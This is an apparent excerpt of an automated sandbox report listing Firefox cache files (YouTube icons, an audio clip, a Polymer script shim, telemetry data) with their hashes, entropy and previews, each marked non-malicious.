Preview:	..#. .o......`..............d.<.......\|e.......>8.r[.. F=..h...I.......*.M..p.....B(......=.....i..I,.'..a....c.=~.V..%.)k.7.S.G......N-=.......I...\.............e.dMe.dMFv..g.!....d....O^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/s/desktop/80338919/img/favicon.ico.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAA51MIIOcTCCDVmgAwIBAgIRAJzbVJkabEyACozv2aKHNfcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwMzMxWhcNMjQwMzA0MDgwMzMwWjAXMRUwEwYDVQQDDAwqLmdvb2dsZS5jb20wWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAAT2TiGO71kgiEbVMbAaoUp1ywATuh4sUKXGRZFPdq6Q2pbAepejEWfHbeXgzw1y6aXjQMdqhGTHNL8fxjFh0Wa5o4IMUjCCDE4wDgYDVR0PAQH/BAQDAgeAMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFL8sJlPSAPBz+rB8YJCMG20dBaDZMB8GA1UdIwQYMBaAFIp0f6+Fze6VzT2

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\40EE86962A167F85FF635E63C180D94A8BE50B96

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, Apple iTunes ALAC/AAC-LC (.M4A) Audio
Category:	dropped
Size (bytes):	22330
Entropy (8bit):	6.213669789799346
Encrypted:	false
SSDEEP:	384:j60I1WUgmIu6R+zKZHI1wS2djAud9tNtzL28eehqrufWWCt2BVqRpRRpS:jcWUgOgdjAudZNL28eehq4w2BVwlS
MD5:	B2AEF5B7D39A9980122B02F403A2B23C
SHA1:	8F50A88FCBF1CD4BF82F1CD7D35136114DF997C3
SHA-256:	AC1FA41B2FF71F0C182EC11B9417EB9AA0A68444C9147310E9C73F944FBC3BB0
SHA-512:	CE202DC15112DABB287627D6D943C18B695C164D1A6ADDCDC5CC9BD06DCE3D6B855B23F180122D91324933EDCD236E193B37680F1B93D5FB8F8E9C747D091DFA
Malicious:	false
Reputation:	unknown
Preview:	... ftypM4A ....M4A mp42isom........moov...lmvhd.............D..T.................................................@...................................trak...\tkhd....................T.................................................@...............mdia... mdhd.............D..T.U......"hdlr........soun.................[minf....smhd...........$dinf....dref............url ........stbl...gstsd...........Wmp4a.........................D.....3esds........"........@.............................stts....................stsc.......................hstsz...............................................n...f...`...k...j...f...h...a...i...e...i...b........stco................udta....meta......."hdlr........mdirappl.............oilst.....nam....data........got_it....cpil....data.............pgap....data.............tmpo....data.............(.too... data........iTunes 12.3.1.23....----....mean....com.apple.iTunes....name....iTunSMPB....data........ 00000000 00000840 000002AB 0000000000004915 000000

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\40F04C55A9FA713271F39776402B7AB909584C43

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3019898880
Category:	dropped
Size (bytes):	9604
Entropy (8bit):	6.163956040304886
Encrypted:	false
SSDEEP:	192:vehChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEVEO:vDzwHUL75Vf8eehqrufWWCt2BVlSF
MD5:	594B3EC68E3AFFA8424B5A748D1B3F78
SHA1:	9730A0A78F130A58BB85BF4B97166D2E712086D2
SHA-256:	F92E05BB902BD76B2C7C9C1AA06F571816923B703B58329ED4133D0BB01BF2AA
SHA-512:	E24F99D7545EB2E4DDB4696E5DAFF4A2129EB98EF36CCD86A0565E5B5A26DC10AC62177BD4332A1D301CEA2686B8C071FBE80C19A8E53F9174E6B2B7B5E23633
Malicious:	false
Reputation:	unknown
Preview:	..........U.1..0...rr....G."..i.#.0...,.x} ....N....O.ku....1b48.{.Zku..\|7.>8...m..}......8....X..C.... AK.S.h..0K E...od<.&...l..mO..#.;..o..........f#.Ls.Peq}-?...Y.....g............e.dqe.dqFv..g..[...r....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/clapperboard/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cv

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\4203F297A80788B0797DDD316BB5F518A1E62822

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3674210304
Category:	dropped
Size (bytes):	9634
Entropy (8bit):	6.186763427647828
Encrypted:	false
SSDEEP:	192:+ISjBhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEWBEWy:02zwHUL75Vf8eehqrufWWCt2BVlPBPy
MD5:	B0E33D0420A9055FA890F49A72A4BB82
SHA1:	5E111F45DCC8593A3340550E2943313BDE918559
SHA-256:	0AD67BA874986195A659346DD35CB3D00D75053EB7A6005D7F78001A58650C74
SHA-512:	CB0280CEF3B4BF782500AAA024D05989BB6DC624BFB6B94473AE879CCF4E4FE6E036E84F6738EF895C11E358D9A00CE3FE62CD2CBA49CAD66971B3B6CF4B72CC
Malicious:	false
Reputation:	unknown
Preview:	..........MO..0...+w..$+..^.S...-T%K.~............}.;.Cx~1.c.Q..53.9gi..[....u.~.....:...<..).x..>t$.cq.{{w...[...o.c.N\..}X...QH.FAMeP..T..A..&.{&.K`.....A{l..a.d.u..\...^..\..dQH...Bz...W.<....}...p..%....5.jl.........e.dqe.dqFv..g......k....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/audio/v5/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAA

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\4722964CF6AFDF3222333E2A7E88C40DF606D64F

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3221225472
Category:	dropped
Size (bytes):	9620
Entropy (8bit):	6.178657513463852
Encrypted:	false
SSDEEP:	192:jZZhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlElEc:AzwHUL75Vf8eehqrufWWCt2BVlUF
MD5:	A0FB6F8E46591122661BDCD62581ED95
SHA1:	E0A13CA9809B4D4ED98FF6D4BA9E28E4ACD96A96
SHA-256:	8AFC39948C661E44EA3BDA67819DE8500849D8F144C3B9412308EA6E0059EA30
SHA-512:	0325A8B57497F9520051BD8B5B477F21DB59F77EC49890631C92BE0874C3DA93443102C56893B990D2B9A0FBE4BEB1D59B9FD41B1A862F354F2B94E7047B99E2
Malicious:	false
Reputation:	unknown
Preview:	............... .E....i.M#...#\|.0U4J....C.......3g1..*...Y...NOB.s.%x...R.' ...{..y.y..V@#...........v..M.........xD.8`.N..H.$.)..!...X...9.P.Q...d4T....N.....@..}.(....".7,.^..;k....//0..........e.due.dvFv..g.3....x....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/overflow_vertical/v10/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBB

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\4814C0DC11EA0862536E54D0039CA51B86049371

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	9475
Entropy (8bit):	6.186076752359523
Encrypted:	false
SSDEEP:	192:RiHohChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVmWHU:eRzwHUL75Vf8eehqrufWWCt2BVmh
MD5:	CB106F15B2482FA531D2F1E070D9D55F
SHA1:	32722E0DD8A46FCD33584847187D1DB0F45434FA
SHA-256:	92E5BCE4F2B29A38131CDA55439035FAE77BA0E06025574294583DA363A57D50
SHA-512:	66AEB4EDB2A441D65FFDF7F5BE5804E06BA83FDAEA53B36B1CBC0F93A8EF0C3B7614B4FB6E225D888DFCBA5A6926D490E815933172771BE93B8CE7832B245DED
Malicious:	false
Reputation:	unknown
Preview:	.....,p..b...;.".Ghi....CuS...1....]H...w.3.(.p....P...U.h0xN..h.7eb...7o}6Wb..2...og..>q2..pW....Y..v.....:.....}.Oz+'.....].;..9...f.......,..qC9x-?.b8.v..C....a..+@..%.`...f..T.v......^.+*'f;..y9..(...Y...WlWyb.........e.due.dvFv..g...........O^partitionKey=%28https%2Cyoutube.com%29,a,:https://www.gstatic.com/youtube/img/icons/web/youtube_fill/youtube_music/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEF

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\48614B6BB9D208B93EB55FACE83B7D860638380B

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2348810240
Category:	dropped
Size (bytes):	9556
Entropy (8bit):	6.151225384723843
Encrypted:	false
SSDEEP:	192:ngrhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEJREJC:nvzwHUL75Vf8eehqrufWWCt2BVlgRgC
MD5:	892BF98F3156B7FAC1949036364B9BBD
SHA1:	C52366D01C805BD25F335F844038F62C97A0762C
SHA-256:	F03522086FF0AE3F18AACA9EA8634CF5B675022F7A461EC3E526A780B62DB777
SHA-512:	05A7CAD86FB79936EFBAA66FF3663173A7C237F75F7C46B1919B9CBB5A017E1BB6F8523FAA0F8F4924C58D35D4CC22DF4A2D10A7DF55AC0A2AE18198291225B1
Malicious:	false
Reputation:	unknown
Preview:	..........M.1..0...r.nsI.".dp..........r._.......D...k..9...D...,.........9{4-BI.\..#..i.f...G............>.......]u:...Up.*\|..C.....g.u..+........e.dqe.dqFw..g.\....l....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/bars_3/v2/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDAWgBSKdH+vhc3ulc09nNDiRh

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\48D71C745420E717A699F4CC6847C17B6C743A51

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PNG image data, 144 x 144, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18399
Entropy (8bit):	6.563252601267012
Encrypted:	false
SSDEEP:	384:WFmsrJ5zKZHI1wS2djAud9tNtzL28eehqrufWWCt2BVDgegY:WNgdjAudZNL28eehq4w2BVEDY
MD5:	24E6D6EA4846CD482094B14F7B4A17B6
SHA1:	F857B62B38190D485119C4F1CBF5577901172338
SHA-256:	27CF7C60E00891109E8D6A5FD7F12B8FF905F6AE9756920D3C239E03F08A2904
SHA-512:	174D91E668803103D644B777AE183FFBE6B730FF9F970A9630FE5305D5BA04528E835FB41272F20C7F9248E8E49F38A5EF68B63D13F00921CDC0FDDA63CC718B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............F.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....eXIfMM..............................J...........R.(...........i.........Z.......H.......H................................................g.....pHYs................YiTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>..^.....`IDATx...u.6........;@\|......1@.X.I..e...$Y.u.....g..^ V..{/.O.i.$S..\....>....\|..W.(...................................................................................'...3V......5.L.{ZS...k.......^C.z^...V.C?_u...q...h!.L...W....Y.....c../....8..."S.a..c....e..R4...).g.....O......!...q....CT...(.....=D..Ra).....W\|.8X..:....f^C.o.....$.,.w..'..g...w.Y@.......um\v.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\4C863284CDA7F859EB300BED16DBCEF9517F1824

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.003237966153129
Encrypted:	false
SSDEEP:	6:SyCtPNlXDOLUxGbsH3X8sXWzusDvLUxGHTuVGsDpHHTuVGsDZpd+Te/l:BCtFpGbmX8Quuu8GzDupTDuZpEOl
MD5:	FBC10C7B3AD01124D4A4BBDDF44FBA29
SHA1:	A628C4660B6BEE305AD3C7A3C9BF77677BEEB11B
SHA-256:	A169CD8926BA5F942C5D5C8ACB2B46709A1B48DA975363D5F4A8BD63D840CC74
SHA-512:	6793E35BCA7D28BBA57AA378D73647E5D6CC09DD22A0EAA09B539D9C46D37C194C3C5CB8DE7C4723BB87B7D515821DA1AD5FEDA27E24A173C8A3DF4C5A2AEFEE
Malicious:	false
Reputation:	unknown
Preview:	...........e.dJe.d.Fx.........+....~predictor-origin,:https://www.youtube.com/.predictor::seen.1.predictor::resource-count.3.predictor::https://www.youtube.com/.1,3,1705534538,4096.predictor::https://fonts.googleapis.com/.1,3,1705534538,4096.predictor::https://fonts.gstatic.com/.1,3,1705534538,4096.....

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\4EBBFD07DA38C337E9CA829910332B2039EE00B4

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	8054
Entropy (8bit):	6.037230835991539
Encrypted:	false
SSDEEP:	192:4JbV2GHyBXO49FgAfBKB2TWCDeBNbZovEpZj:4JxVHydO49aAfU2LkAc3
MD5:	EDD6A3F48959E384E42156D93C9354A0
SHA1:	436B22393E538BCB1A24154C381233D9185CD30D
SHA-256:	976CCD869B2AF696655F9715B71E303A60FEEF5CC1AE1D834257C8893849B5BA
SHA-512:	2FA3CC95F19E1D5E43D9D814CD53F6F344F5AB822720689FC13AB944BD652AC649176C2D5E0F34DDFF97FE062B372884B1DDD962358FFE9D3F7688A9E6B99E6D
Malicious:	false
Reputation:	unknown
Preview:	..A.........e.dLe.dLFv..e.dL........a,~1705534500,:https://incoming.telemetry.mozilla.org/submit/firefox-desktop/messaging-system/1/4db4139f-6dcf-40ae-89c1-1ca4ca5a35ed.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAX1MIIF8TCCA9mgAwIBAgIQAeBji5rfnEKbkKRu9rqqbTANBgkqhkiG9w0BAQsFADCBkjELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xKjAoBgNVBAoMIVRoZSBVbml2ZXJzZSBTZWN1cml0eSBDb21wYW55IEx0ZDEqMCgGA1UEAwwhVGhlIFVuaXZlcnNlIFNlY3VyaXR5IENvbXBhbnkgTHRkMB4XDTI0MDExNjIzMzUzOVoXDTI1MDExNTIzMzUzOVowgYExCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRwwGgYDVQQKExNNb3ppbGxhIENvcnBvcmF0aW9uMScwJQYDVQQDEx5pbmNvbWluZy50ZWxlbWV0cnkubW96aWxsYS5vcmcwggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAwggEIAoIBAQC20hRkz2cHrAqiprMow8s6eCX1stiAWM6NPWKHjVWP+TEK2iMuiOXOoxHa5qYNLnKbU1JQ7HykK0FE3dj1Ww3MN3amatnVeuD6uL/POgKfmulXiUpC03FTxo+4wzgEBWv

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\4FD9D98E6A748A97EEA9F7F7783E8314323C137D

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	16790
Entropy (8bit):	6.032627732823117
Encrypted:	false
SSDEEP:	384:emTDbNGMgPK5JgLTL11USqKZHIw857nVqN4mAQlpmVTaIdEN2:emTDbNGMgPK5JgHX5p8V4AQlpmZa8EN2
MD5:	534D77B289C7975B4217E41C916E0E96
SHA1:	F4A1827DEC03AA77D1115BD75F1E11B246CF067E
SHA-256:	FA1433C373A925EDF66B8F02F301CDB30066A69031971CE5A21DCC2039D689D5
SHA-512:	9300C2FA0B70B8032549414F0D6E79E20646A1C216FCDA2B91496DABE060B5EF51653BC626F363A0446FB1546A8832FA8D6A72FCD64538EFA034C90B668DDA00
Malicious:	false
Reputation:	unknown
Preview:	'use strict';/.. Copyright (c) 2016 The Polymer Project Authors. All rights reserved.. This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txt. The complete set of authors may be found at http://polymer.github.io/AUTHORS.txt. The complete set of contributors may be found at http://polymer.github.io/CONTRIBUTORS.txt. Code distributed by Google as part of the polymer project is also. subject to an additional IP rights grant found at http://polymer.github.io/PATENTS.txt./.(()=>{if(window.customElements){var h=window.HTMLElement,m=window.customElements.define,n=window.customElements.get,k=new Map,l=new Map,e=!1,f=!1;window.HTMLElement=function(){if(!e){var a=k.get(this.constructor);a=n.call(window.customElements,a);f=!0;return new a}e=!1};window.HTMLElement.prototype=h.prototype;window.HTMLElement.es5Shimmed=!0;Object.defineProperty(window,"customElements",{value:window.customElements,configurable:!0,writable:!0});Object.defineProperty(window.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\50975D80764AB897871463CE8AF0CEFB673D86D9

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2785017856
Category:	dropped
Size (bytes):	9585
Entropy (8bit):	6.153835274707231
Encrypted:	false
SSDEEP:	192:2ohChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEa4Eaq:2RzwHUL75Vf8eehqrufWWCt2BVl8O
MD5:	89075790A3B3962C72F7B0EE0F9BFCFA
SHA1:	66BF634124796FEE43FE169F62E3A152A33B38B7
SHA-256:	5C6B647BCFFE81639628B4F345E063181D17D1B31E6EC9836165F61278D16E02
SHA-512:	3C031CAFC38ECDE2629F47E0C00F4EA67BF7E6D9D91D96C2726846FFD349AD5DB898B2B15AC63B2BAA46168A8B25FBDE2159E9E7F9883D61ABAB8FAA984BEEF6
Malicious:	false
Reputation:	unknown
Preview:	..........MNA..0.......".x...x...i..i".....30....{0p.o.+..w.c.Y,.e3<.B..@......e...F.NG..r..`.d.Wx.0..X...y.Fo.qS....&f.PA..%v.9..[..-..R.Z...Tv.D...?..x..&.....%L.f.........e.due.duFv..g.2~...o....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/my_videos/v6/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVH

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\523128E4E5F86ADFD9FF931E55BC9DB4E0737D7A

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	9626
Entropy (8bit):	6.272973911998372
Encrypted:	false
SSDEEP:	192:Jb2CshChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVmW76J76x:BzVzwHUL75Vf8eehqrufWWCt2BVmE6to
MD5:	558F8F2D2C97A3BA28F1A285FD0D42D8
SHA1:	2BF525C941F4543C0F3893F191E9A678DCF3BF73
SHA-256:	8F619A77AEF0848DA9E34690FD2D5CB41E0193FAC4BB7CED7E8E105FED1620E8
SHA-512:	604A38CAA50F23B6AC24A355642698870CB67F6314F2F51AE2221E9D7C154DB670F16EFE8FEFBCBB6E8F3271D8E15F49BA16542A37F3CE6CE146FAF2FD6EF432
Malicious:	false
Reputation:	unknown
Preview:	.....,p..49..'.\|....#...w.oaV..X..).0..}.i...#spe.....5.4.......O0r.m.\|.......FQ:..r./....g...K........WtW.9.FmX..4.]....&.4vT..}.%........@....La..G.....U.&.;.u].1+.....e...l.....s&.F........e.h...nA......ko4..H\|.........<.*.(.6...a...Ty.`...<.;I...gs.az..c8..."...t-..7...J.h..r..C.0=..!h.afW.....c.c....zy.......wxU.S...SeFj?...~.....{ ....=..>......a...g4;.l........e.due.dvFv..g......~....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://www.gstatic.com/youtube/img/icons/web/youtube_fill/shorts-like/v2/32px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIK

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\53B1688B2652496203B72D5EF57ED87358A8A164

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2382430208
Category:	dropped
Size (bytes):	9816
Entropy (8bit):	6.274605357128439
Encrypted:	false
SSDEEP:	192:QCpnMhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVBE6ED:HV1zwHUL75Vf8eehqrufWWCt2BVBFY
MD5:	0C87DBB11BE2273A3378137FCD8065A6
SHA1:	9B4595B83B9AF83D2BED7E8FEF9FD8BD358393F9
SHA-256:	D48DAC07A16F06E4EEBA46B852CE47AB6DB165C73B201AFA350CD6457F91A5F7
